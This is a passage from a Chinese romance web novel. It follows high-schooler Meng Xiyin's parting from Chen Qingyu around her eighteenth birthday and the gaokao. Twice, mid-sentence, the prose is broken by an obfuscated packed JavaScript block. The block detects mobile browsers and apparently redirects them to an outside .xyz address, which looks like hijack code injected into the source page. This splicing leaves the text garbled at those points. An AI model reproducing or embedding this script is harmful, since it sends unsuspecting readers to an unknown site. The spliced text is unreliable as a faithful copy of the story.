吃过晚饭,周濛拉着她去小卖部,说要给苗松买水送去,彼时正值人流高峰,孟惜荫不想和那些人挤,于是便说在外面等她。 她找了个阴凉的角落,心里还在想着约陈青屿吃饭的事,没想到余光一扫,竟然看见之前在体育馆器材室里和陈青屿说话的那个女生。 那女生身边,还站着一个熟悉的人—— 吴越琛。 他们站在贴近教学楼侧墙的小角落里,正激烈争执着。 “漫漫,我跟你说了很多次,不要找陈青屿挑事!那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793255|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人离他远点就行了,没必要再和他纠缠。”吴越琛脸上的表情十分急切。 吴漫不以为然地撇撇嘴:“为什么?是他先打的你,理亏的人是他!我已经找过他两次,让他跟你道歉,他就是不肯,他以为自己是谁啊?” 吴越琛有些心虚,“都和你说了,那件事也怪我,不该说孟惜荫的坏话,现在这事都过去了,你就别再管了行不行?” 吴漫瞪着眼睛,不服气道:“哥,你这就认怂了?你说的都是事实啊,孟惜荫她妈本来就是小三,这事全校都知道,又不是你瞎编的!他要给孟惜荫出头,那就得承担后果,你在二中不是认识不少人吗?随便找几个人过来,给他点教训,免得每次见了他还要低着头做人,我看着都咽不下这口气!” “这是我和陈青屿之间的事儿,你一个女孩子就别掺和了行不行?” “你是我哥,我怎么不能掺和了?你以为我愿意管?”吴漫越说越生气,“他们都笑话我呢,说我哥在陈青屿面前跟缩头乌龟似的,被人家揍的心服口服,再这样下去,我在同学面前都没法做人了!” 吴越琛是有心认怂,反倒是吴漫不依不饶的,两个人声音越压越低,到后面,渐渐听不见了。 孟惜荫咬住唇,没有再留心往下听。 周濛刚好从小卖部里挤出来,把一瓶冰汽水塞到她手里,“发什么呆呢?走啦走啦,陪我去找苗松。” 离晚自习开始还有十五分钟的时间,周濛和苗松在三班门口的走廊里腻腻歪歪,不知道在说些什么悄悄话,孟惜荫便借口说要回教室做题,先离开了。 她急着想把刚才听到的对话告诉陈青屿,想提醒他小心一点,然而回到教室,陈青屿的位子却是空的。 直到晚自习铃响,时间一分一秒过去,陈青屿一直都没有回来。 孟惜荫终于忍不住,在第一节晚自习下课的时候,装作不经意的样子询问陈青屿的同桌:“那个,陈青屿是回家了吗?” 同桌从堆积如山的试卷里抬起头,扶了扶架在鼻梁上的眼镜:“你说陈青屿啊?刚才我吃饭回来的时候看见他被老张叫走了,好像是说他妈妈来了,要给他办什么转校手续。” 孟惜荫呆住。 “他妈妈不是……” 那个小卖部的老板娘不是说,陈青屿的妈妈跟别的男人跑了吗? 她两次去他家里,除了他那个酗酒的继父,也确实没有见过其他人,怎么突然间他妈妈就回来了呢? 孟惜荫脑子乱成一团浆糊,几乎丧失思考的能力。 “我看他妈妈穿的挺阔气的,又是金项链又是钻石耳环的,跟老张说话的时候还总夹带英文,估计是从国外回来的暴发户吧?”同桌摇摇头,表示不理解,继续埋头做题了。 孟惜荫呆呆地站在过道上,头顶的风扇呼呼地转着,把课桌上写着陈青屿名字的试卷轻轻吹起一角。 她盯着试卷上陈青屿的名字,胸口忽然一阵窒闷,脑子里没由来地闪过一个酸涩的念头。 她会不会再也见不到陈青屿了? 15. Chapter 14 第二天,陈青屿依然没来上课。 老张在三模前的动员班会上慷慨陈词,语气激昂地调动着学生们的学习积极性,孟惜荫却时不时地走神,看向身旁的空位。 脑海里设想过无数可能,他离开的缘由,她已经替他铺陈过几十条,只是每一种假想的末尾,她都会酸涩地想,至少,陈青屿会来向她道别的吧? 新的试卷又发了下来,崭新的,带着油墨香。 孟惜荫垂下眼睛,努力赶走那些乱七八糟的念头,把自己淹没在题海之中。 中午的时候,周濛兑现了她的承诺,一打铃就拉着孟惜荫冲向食堂小窗口,很是豪爽地点了好几个菜。 “生日快乐啊惜荫!”周濛快乐地夹起一大片水煮肉片放到孟惜荫的碗里,“寿星多吃点。” 赵嘉树拧开一瓶刚买的汽水放到孟惜荫面前,笑着说:“也不能吃太多啦,还要留着肚子晚上吃蛋糕呢。” 周濛立刻双手托脸做羡慕状:“我也好想吃巧克力蛋糕啊。要不惜荫你明天打包一块带给我吧?” 赵嘉树插嘴:“让苗松带你去吃啊。” “哟,咱们只爱学习的赵主席什么时候也会开这种玩笑了?” “我才不是那种老古板好不好?” 两个人吵吵闹闹,倒是短暂地分散了孟惜荫的注意力,过生日本就应该是快快乐乐的一天,她却到现在才终于露出一点笑来。 “别闹啦,快吃饭,一会儿还要回去做题呢。” “中午也做题?惜荫你最近怎么这么爱学习啊?” 周濛瘪瘪嘴,戳起一块排骨放进嘴里,顿了顿,好像忽地想到了什么,一下子又精神抖擞起来,“对了,我上午去老张办公室拿资料的时候,听见一个超级大八卦哦!” 她做贼般朝周围看了看,再三确定她即将谈论的八卦主人公不在场,才咳了咳,压低声音说:“咱班那个陈青屿,你们知道吧?高一开入学家长会的时候就听说他妈妈跟人跑了,结果现在好像在国外发了一笔横财,又回来了,听说要带陈青屿去帝都读什么国际学校,之后还要出国留学什么的……反正跟老张噼里啪啦讲了一大堆,还穿插着英文,有的我都听不懂。” 帝都。 孟惜荫抿住唇,用力攥紧筷子。 如果能考上帝都的大学,他们是不是还有机会再见面? 可是帝都很大很大。 到时候,她要到哪里去找陈青屿呢? 眼睫垂下来,盖住眼底的落寞酸涩,孟惜荫低着头扒拉盘子里的肉片,却没有心思再吃一口。 等她再抬头时,正对上赵嘉树深深打量的目光,似是都回想起那天在荷花巷口并不坦诚的对话,两道视线堪堪碰上,立刻不着痕迹地退开。 周濛还在感叹:“要我说真是人各有命……哎你们说,会不会其实我家里有矿,但我爸妈为了让我自己努力一直瞒着我啊?” 话音落,却无人应和,周濛奇怪地抬头,见孟惜荫和赵嘉树沉默地低头吃饭,各有心事的样子,她忍不住问:“你们俩怎么了?” “没什么。” 孟惜荫和赵嘉树同时出声。 周濛撇撇嘴,懒得管他们,继续沉浸在自己家里有矿的美好幻想中。 * 入夏的雨,潮湿又闷热。 生日这天,孟惜荫见到了六月初的第一场雨。 彼时刚下晚自习,她站在教学楼门口等着赵嘉树推自行车过来,雨丝就这么毫无预兆地落下来,滴在鼻尖。 她伸出手掌去,一滴一滴,雨水在掌心凝成小小的一汪。 也是这样的一个雨天,她曾和陈青屿共撑一把伞并肩走在雨中,只是如今回想起来,那场景似乎已经是很遥远的事。 而近在眼前的,是赵嘉树在对面的告示栏下朝她招手,扬声喊:“荫荫,走啦。” 孟惜荫应了声好,从台阶上下来,快步跑进小雨中。 雨越下越大。 伞面在风中翻折,雨水兜头浇下,车子根本没法骑,赵嘉树不得不艰难地推着自行车,“荫荫,你先走吧,我得找个地方放一下自行车,这雨太大了……” 暴雨忽至,路上行人大多穿着雨靴雨衣,才勉强在雨中站住脚。 孟惜荫的小伞在雨中飘摇,几乎要从她手中脱出去,看这境况,雨一时半会儿是停不了的,她也只好点点头,费力地迎着风往前走。 小区门口,保安穿着雨衣,弯腰抬起被风吹倒的告示牌,几盏老旧路灯摇摇晃晃,雨丝模糊了光线,只在积水上映出不甚明晰的光影。 孟惜荫在离小区门口几步远的地方停住脚步。 小路两侧,是未经翻修的老旧石墙,砖石裂缝里滋生潮湿绿藓,仿佛随意涂抹的发霉颜料,陈青屿就靠在那片灰绿颜色里,微闭着眼。 孟惜荫被他这副样子吓了一跳,顾不得满地积雨,急忙跑过去,手中透明雨伞撑在他头顶,在风中飘摇,“你没事吧?” 陈青屿睁开眼睛,脸色苍白。雨水沿着伞骨滑落,溅在他的长裤上。 凑近了,才看见他唇角红肿似有伤口开裂,血渍和雨水晕在一起,染脏了他的脸,孟惜荫惊慌不安地握紧伞柄,另一只手匆忙探进口袋里摸索,终于翻出一包干净的纸巾。 “你好像受伤了……先擦一下吧?” 隔着缭乱雨雾,陈青屿很安静地望着她,她眼里的慌乱,比这一刻他的存在还要真切。 身上很痛,痛到没有多余力气开口去解释什么,陈青屿缓慢地伸出手,想要接过她递来的纸巾,却在瞥见指尖血迹的刹那,越了界般地缩回来。 他用力在衣服下摆上擦去手上的脏污,才再一次伸出手。 纸巾很柔软,按在伤口上,并不觉得疼痛,陈青屿潦草地擦干脸上的雨水,然后用另一只干净的手,把怀里一直紧紧抱着的东西递给孟惜荫,“生日快乐。” 孟惜荫这才注意到他怀里抱着一个盒子,一直用外套盖着。 他竟然知道今天是她的生日。 是那天从周濛口中听到的吗? 一股小小的欢喜在心底蔓延,顺着全身的血液疯狂流动,孟惜荫撑伞的手都有些颤抖,她接过那个扎着凌乱系带的礼品盒,尽量抑制住声音里的激动,“谢谢。” 但只一瞬的雀跃,她眼中便立刻又浮现出担忧,“你……” “荫荫,你在这干什么?” 关心的话不及说出口,隆隆雨声里,被赵嘉树急切的声音突兀地打断,他举着伞,几乎是朝孟惜荫狂奔过来,溅起一地噼里啪啦的水花。 “你不知道你在淋雨吗?你后背全都湿透了,裤子也是……”赵嘉树不住声地埋怨。 孟惜荫这才发现她只顾着给陈青屿撑伞,自己身上早已被雨水浇透。 “我……” 她张了张嘴,想解释什么,赵嘉树的伞已经挤过来,严严实实地遮在她的头顶。 而她那把透明伞,借着一点赵嘉树推挤时的用力,大风骤然一吹,轻飘飘地跌出去,如一朵脆弱的玻璃纸花,栽进映着薄薄灯光的积水中。 赵嘉树这时才看见陈青屿。 他贴墙站着,满身狼狈,瞳孔里一点清冷的光,凝在孟惜荫脸上。 赵嘉树的视线,只在陈青屿脸上停留一瞬就立刻移开,只当作刚才看到的是空气,他转过头去,很急切地对孟惜荫说:“快走吧,阿姨喊我们回去吃饭了。” 这理由拙劣至极,分明他也才刚走到小区门口而已,可是赵嘉树心里忽然升起一股强烈的念头,他不想让孟惜荫在这里多停留哪怕一秒。 黑沉沉的夜幕,忽然闪过惊雷。 很多个琐碎的、凌乱的词句堵在喉咙,想问问他为什么受伤、伤的严不严重,他是怎么知道她的生日的,他真的要离开北城了吗,他们还会不会再见面? 然而终究,她只能笨拙地看着陈青屿,什么都说不出口。 赵嘉树已经把她拉走。 他的力气很大,拽得孟惜荫手腕都有些痛,他生怕如果自己力气不够,孟惜荫就会从他手中挣脱,转头跑回陈青屿身边。 不是每个人都有后来居上的机会。 直至很多年后,孟惜荫仍然记得她十八岁那年的生日,那个大雨滂沱的夏夜。 积水的路面星星点点反着亮光,她在飞溅的雨水中回头。 而陈青屿已经不在那里。 * 回到荷花巷时,雨仍然在下。 那间破落的小屋,头一次亮着灯,陈青屿在台阶下站了好一会儿,才动作缓慢地掏出钥匙开门。 “怎么这么晚才回来?”女人从沙发上起身,见他浑身湿透,立刻皱起眉,“你没带伞吗?怎么不知道给妈妈打个电话?快进来,先去洗个澡,妈妈去给你煮碗姜汤驱驱寒。” 陈青屿把湿透的鞋子脱下来放在门口的鞋架上,然后才抬起头,面无表情地看了女人一眼:“我没有手机。” 女人后知后觉地一拍大腿:“是妈妈疏忽了,忘了你没有手机,你爸也真是的,连个手机都不给你买……” 嘟嘟囔囔地抱怨一番,她又换上一副温柔笑脸,“妈妈明天就去给你买个新手机。” 陈青屿没理会她,自顾自推门进了卧室。 下午出门时,窗子忘了关,这会儿雨水已经顺着窗台漫进屋里。 桌子上的草稿纸被风吹得满地都是,已经在积水里泡了很久,陈青屿蹲下身,从一地狼藉里,捞出几颗还未拆开的、裹着糖纸的糖。 他攥着糖块,缓慢地起身,靠在书桌旁出神。 回忆起把礼物递给孟惜荫时她脸上的表情,陈青屿忽然后悔,他应该把那个系带系的再漂亮一些的。 她会喜欢他送的礼物吗? 陈青屿不知道。 时间匆忙,来不及精挑细选,所幸,他很久之前就有了想要送给她的东西。 他还记得孟惜荫刚转学来北城一中的那天,穿着一件很乖很乖的白色麻花毛衣,书包上挂着一只毛茸茸的棕色小熊,跟在她妈妈身后从校长室出来。 而他因和高年级的学生起冲突,被叫去校长室训话,隔着狭长走廊,他们远远望见,出于礼貌,孟惜荫拘谨地朝他笑了一下。 冬日稀有的阳光落在她肩颈,生出一种夏日艳阳的明媚。 他们擦肩而过。 厨房里传来热水煮沸的声音,多年不曾洗手做羹汤的女人当真进了厨房,为儿子亲手熬一碗姜汤。 陈青屿不知道沈穗为什么突然回来。 她不是不要他了么? 当初是沈穗把他丢下的,可现在她又突然出现,满脸惭愧地说着她的歉疚,说要弥补他,要带他去更好的城市,为他安排更好的未来。 然而,她甚至不曾注意到他手背上的疤,胳膊上的青紫,以及唇边还在渗血的伤口。 他没想到吴漫会如此记仇。 那时他一心只想护着怀里的礼物盒,不曾有任何反抗的动作,那些人以为他窝囊,反倒觉得无趣。 他当时并没有感觉到有多疼,只是在店里委托店员精心系好的蝴蝶结散了,他笨拙地系了一遍又一遍,却再也系不回原来的样子。 而那个湿淋淋的、沾了泥的礼物盒,此刻正摆在孟惜荫卧室的地板上。 她已经在隔壁赵家的房子里庆祝过生日,蜡烛吹熄、蛋糕切开,所有人笑着祝她成人快乐,她端着僵硬笑脸客气地道谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793256|158223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 时针指过十二点,一切终于安静下来。 她抱膝坐在地板上,用纸巾擦干盒子上的泥水,然后小心翼翼地解开蝴蝶结的系带。 里面是一束向日葵。 旁边附着一张小小的贺卡,上面用熟悉笔迹写着,“祝高考加油”。 青涩懵懂的年少心事,终于在这个夏夜,宣告无疾而终。 * 高考结束的那天,高三教学楼被欢呼声淹没。 有人站在天台上撕卷子,飞扬的纸片落了满地,仿佛冬天下了雪。 孟惜荫走在周濛身边,听她热火朝天地和苗松讨论要去哪个游乐场玩、去看哪部新上映的电影,在被问及要不要一起出去玩的时候,她平静地拒绝了:“我就不去了。” “那你暑假做什么?就整天待在家里?多无聊啊!”周濛拉住她的胳膊,眨着星星眼,不停诱惑。 孟惜荫只得敷衍:“等分数出来了再说吧。” “行啊,那等出分了,咱们一起聚聚吃个饭?你、我,苗松,再叫上赵主席?”周濛已经兴致勃勃地安排起来,“就去南街那边新开的川菜馆怎么样?我还挺想尝尝的……” 安安静静在家里待了三天,连陶玉茹都开始劝她,让她出去走走。 去哪儿呢? 好像无处可去。 她漫无目的地走在路上,直至路过荷花巷口时,才不由自主地放慢脚步,停了下来。 陈青屿离开之后,她再也没有来过这里。 巷子口倒是比之前干净不少,没有了臭气熏天的垃圾,像是有人收拾过的样子。 孟惜荫在巷子口站了好一会儿,正准备离开的时候,忽然被人叫住。 “哎,小姑娘,你是那个,陈青屿的同学吧?”王嫣穿一件修身旗袍,手里扇着柄竹扇,从小卖部里探出身来,“他前阵子被他妈接走了,已经不住这了。” 孟惜荫转过身,朝王嫣露出微笑:“我知道的阿姨,我就是路过,不是来找他的。” “不过他留了个电话号码,说是如果你来找他的话,就把这个给你。”王嫣从记账的本子里抽出一张字条。 纸条很轻,捏在王嫣手里,仿佛风一吹就能吹走,但于孟惜荫而言,却仿佛溺水之人能抓住的最后一根稻草。 她眼睛里已燃起希冀,满怀期待地看着王嫣,对方却露出歉意的表情,十分不好意思地说:“不好意思啊,当时他来找我的时候,我在忙店里的事情,就随手把纸条放在口袋里了。后来我就把这事忘了,衣服也顺手洗了——” 王嫣把字条递过去,冲她努努嘴,“上面字迹还在,就是不知道看不看得清了,你看看。” 那张被水洗过的字条,皱巴巴的,前面几个数字依稀看得清楚,独独最后一个彻底被水洗去,只留下一层模糊的灰。 孟惜荫眼里刚刚浮起的雀跃,如烟花般转瞬即逝。 不过她还是礼貌地跟王嫣道了谢,直到离开荷花巷的时候,王嫣还在不停地对她说着抱歉。 或许这就是她和陈青屿之间的缘分吧。 靠几个冷冰冰的数字,勉强维系着一丝希望,却又这般轻易地,就能被水抹去。 出分那天,陶玉茹很高兴。 因为孟惜荫的文化课成绩远远超出她的想象,只要今年的分数线没有太大变动,去读帝都最好的美术学院绰绰有余。 激动之余,她给孟惜荫添置了好几件夏天的新衣服,让她穿着出去和朋友好好玩一玩。 辣香满盈的川菜馆里,周濛一如往常,一边吸着汽水,一边兴致勃勃地说起班里同学的近况,一个个捋下来,简直如数家珍。 “还是赵主席厉害啊,直接保送A大。”说到赵嘉树时,周濛朝他比了个大拇指,“苟富贵勿相忘,赵主席,懂我意思吧?” 赵嘉树笑笑:“这就富贵了?” “那当然了!哎不过惜荫你才牛逼好吧?平时一声不响的,高考直接来波大的啊?帝都美术学院都考得上!等我去帝都找你玩儿,你可得好好招待我啊!” 孟惜荫忽视掉她前面的吹捧,只微笑应下最后一句:“你来我肯定包吃住。” 说完,她垂下眼睛,喝掉杯子里最后一口可乐,忽然又想起她和陈青屿那个心照不宣的秘密约定。 不知道他考的怎么样呢。 还是说……他真的出国了? 好想打电话问问他,听一听他的声音,哪怕只有几分钟也好。 她心不在焉的样子,被坐在对面的赵嘉树尽收眼底,他默了默,正要开口说些什么来转移她的注意力,孟惜荫忽然起身,对身侧的周濛说:“我去下洗手间。” 这家川菜馆临街而建,出了门就是川流不息的马路。晚霞从天边落下来,把马路尽头染上橙红,如一条浸染了颜料的河。 孟惜荫站在路边,深深叹出一口气,拿出手机。 手机里,有十条显示已发送的短信,分别发给十个只有尾数不同的号码。 从0到9,她一一试过,可是遗憾的,每一条都没有回音,像一封封寄往空谷的信,无人查收。 要不要打电话试试呢? 手机屏幕在手心里发着冷光,映在孟惜荫的脸上。 晚风燥热,闷得人心里发慌,连做决定似乎也变得艰难。 在手指触到屏幕的一刹那,有人从身后走过来,按灭了她的手机屏幕。 孟惜荫愣了愣,转过头,发现赵嘉树站在她身后。 橙红晚霞映在他眼中,让人分不清那是不是他眼眶的颜色。 他按着她手机的手指一点点滑下,最后轻轻地搭在她的手腕上。 “荫荫,不要想他了,好不好?”